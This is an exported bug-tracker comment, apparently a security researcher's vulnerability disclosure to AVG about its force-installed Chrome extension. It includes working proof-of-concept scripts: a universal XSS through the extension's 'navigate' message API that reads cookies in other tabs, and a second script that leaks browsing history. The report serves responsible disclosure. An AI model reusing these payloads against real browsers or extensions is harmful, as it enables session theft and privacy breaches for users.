GoogleCodeExporter
commented
8 years ago I sent the angry email below to the vendor:
Hello, I've just been looking at your antivirus product, and the first thing I
noticed was you force install a Chrome extension called "AVG Web TuneUp" with
extension id chfdnecihphmhljaaejmgoiahnihplgn. I can see from our statistics it
has nearly 9 million active Chrome users.
Apologies for my harsh tone, but I'm really not thrilled about this trash being
installed for Chrome users. The extension is so badly broken that I'm not sure
whether I should be reporting it to you as a vulnerability, or asking the
extension abuse team to investigate if it's a PuP.
Nevertheless, my concern is that your security software is disabling web
security for 9 million Chrome users, apparently so that you can hijack search
settings and the new tab page.
There are multiple obvious attacks possible, for example, here is a trivial
universal xss in the "navigate" API that can allow any website to execute
script in the context of any other domain. For example, attacker.com can read
email from mail.google.com, or corp.avg.com, or whatever else. I hope the
severity of this issue is clear to you, fixing it should be your highest
priority.
<script>
for (i = 0; i < 256; i++) {
window.postMessage({ origin: "web", action: "navigate", data: {
url: "javascript:document.location.hostname.endsWith('.avg.com')"
+ "?"
+ "alert(document.domain + ':' +document.cookie)"
+ ":"
+ "false",
tabID: i
}}, "*");
}
</script>
This demo will just alert(document.cookie) if you have a tab open on avg.com,
but you get the idea. That's not all, basically every API I look at is just
plain broken. For example, you're exposing browsing history to the internet via
the "recently" api. This code should tell you all your recent navigations:
<script>
window.addEventListener("message", receiveMessage, false);
window.postMessage({ from: "web", to: "content", method: "recently" }, "*")
function receiveMessage(event)
{
if (event.data != undefined && event.data.historyItems != undefined) {
var obj = JSON.parse(event.data.historyItems);
document.write("Here is a list of websites you've been visiting");
document.write("<br>");
for (i in obj) {
var d = new Date(obj[i]);
document.write("<a href=" + i + ">" + i + "</a> on " + d);
document.write("<br>");
}
}
}
</script>
I'm sure if I keep looking I'll be able to turn this into remote code
execution, but hopefully this is enough for now.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without
a broadly available patch, then the bug report will automatically become
visible to the public.
Disappointed, Tavis.
Original comment by tav...@google.com on 15 Dec 2015 at 8:33
Original issue reported on code.google.com by
tav...@google.comon 15 Dec 2015 at 8:32Attachments: